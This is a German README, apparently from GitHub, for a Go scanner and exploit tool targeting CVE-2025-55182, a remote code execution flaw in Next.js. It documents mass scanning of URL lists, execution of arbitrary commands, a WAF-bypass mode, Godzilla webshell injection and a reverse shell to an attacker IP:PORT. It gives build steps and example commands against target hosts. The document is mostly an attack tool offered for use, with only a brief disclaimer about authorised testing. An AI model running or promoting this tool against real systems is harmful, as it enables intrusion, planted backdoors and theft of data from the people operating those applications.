CVE-2025-55182 Next.js RCE Scanner

CVE-2025-55182 Schwachstellenscanner und Exploit-Tool für die Remote-Codeausführung in Next.js-Anwendungen. Unterstützt Massenscans, Befehlsausführung, Godzilla-Webshell-Injektion und Reverse-Shell-Funktionen.

⚠️ Dieses Tool ist nur für Sicherheitsforschung und autorisierte Tests bestimmt. Nicht für illegale Zwecke verwenden.

Funktionen

• Mehrere Ziele scannen: Unterstützt einzelne URLs, Dateilisten (eine URL pro Zeile) sowie Ordner mit mehreren .txt-Dateien.
• Mehrere Threads parallel: Anpassbare Anzahl von Threads für erhöhte Scaneffizienz.
• Schwachstellenverifizierung: Überprüft das Vorhandensein der Schwachstelle durch Berechnung des Produkts von Zufallszahlen.
• Befehlsausführung: Führt beliebige Systembefehle auf dem anfälligen Ziel aus (unterstützt Linux und Windows).
• Godzilla-Webshell-Injektion: Erzeugt mit einem Klick die Verbindungsinformationen für eine Godzilla-Webshell.
• Reverse Shell: Unterstützt Reverse-Shell-Funktionen.
• Ergebnisse speichern: Speichert automatisch erfolgreich genutzte URLs und Details in success.json und optional Ausgabe der Schwachstellen-URLs in eine angegebene Datei.
• Proxy-Unterstützung: Konfigurierbarer HTTP-Proxy für die Integration mit Tools wie Burp Suite.
• Fortschrittsanzeige: Zeigt in Echtzeit Scanfortschritt, verstrichene Zeit, verbleibende Zeit usw. an.

[]

Installation

Voraussetzungen

• Go 1.16 oder höher
• Git

Repository klonen

git clone https://github.com/luoqichen/CVE-2025-55182-POC.git
cd cve-2025-55182-POC

Kompilieren

go build -o cve-2025-55182 main.go

Ausführen

./cve-2025-55182 -h

Verwendung

Parameterbeschreibung

Parameter	Typ	Standardwert	Beschreibung
-u	string	Kein	Einzelne Ziel-URL (z.B. http://example.com:3000)
-f	string	Kein	Datei mit URL-Liste (eine URL pro Zeile)
-d	string	Kein	Ordner mit mehreren .txt-Dateien
-o	string	Kein	Ausgabedatei (speichert Schwachstellen-URLs, eine pro Zeile)
-t	int	10	Anzahl der gleichzeitigen Threads
-to	int	10	Anfrage-Timeout (Sekunden)
-c	string	Kein	Auszuführender Befehl (z.B. id)
-m	string	Kein	Modus: waf (aktiviert WAF-Bypass)
-p	string	Kein	HTTP-Proxy (z.B. http://127.0.0.1:8080)
-g	bool	false	Godzilla-Webshell-Injektion aktivieren
-rs	string	Kein	Reverse-Shell-Adresse (Format IP:PORT)
-dv	bool	false	Ausführlicher Modus (druckt Scanvorgang für jede URL)
-es	bool	false	Scannen auf sensible Informationen

Beispiele

Einzelnes Ziel scannen

./cve-2025-55182 -u http://target.com:3000

Batch-Scan von Zielen aus einer Datei

./cve-2025-55182 -f targets.txt -t 20 -o vuln.txt

Befehl ausführen

./cve-2025-55182 -u http://target.com:3000 -c "whoami"

Godzilla-Webshell verwenden

./cve-2025-55182 -u http://target.com:3000 -g

Nach erfolgreicher Injektion gibt das Tool die Verbindungs-URL, das Passwort, den Schlüssel und die Header-Informationen für Godzilla aus.

Reverse Shell

./cve-2025-55182 -u http://target.com:3000 -rs 10.0.0.1:4444

Proxy aktivieren

./cve-2025-55182 -f targets.txt -p http://127.0.0.1:8080 -t 10

Ausgabebeschreibung

• success.json: Speichert automatisch alle Details erfolgreich genutzter Ziele (einschließlich Befehlsausgabe, Godzilla-Konfiguration usw.).
• Durch -o angegebene Datei: Speichert die Liste der Schwachstellen-URLs (eine pro Zeile).

Während des Scans werden Fortschrittsbalken und gefundene Schwachstellen in Echtzeit angezeigt. Am Ende werden statistische Informationen ausgegeben.

Hinweise

1. Stellen Sie sicher, dass Sie autorisiert sind: Das Scannen oder Angreifen fremder Systeme ohne Erlaubnis ist illegal.
2. Proxy-Verwendung: Wenn Sie den Datenverkehr über Burp Suite anzeigen möchten, setzen Sie den Proxy mit dem Parameter -p.
3. Godzilla-Verbindung: Verwenden Sie nach erfolgreicher Injektion einen Godzilla-Client zur Verbindung. Beachten Sie, dass Passwort und Schlüssel zufällig generiert werden.
4. Timeout-Einstellung: Für Ziele mit schlechter Netzwerkverbindung kann der Wert von -to entsprechend erhöht werden.

Haftungsausschluss

Dieses Tool dient ausschließlich der Sicherheitsforschung und autorisierten Tests. Der Benutzer trägt die alleinige rechtliche Verantwortung. Der Entwickler haftet nicht für Missbrauch.

License

MIT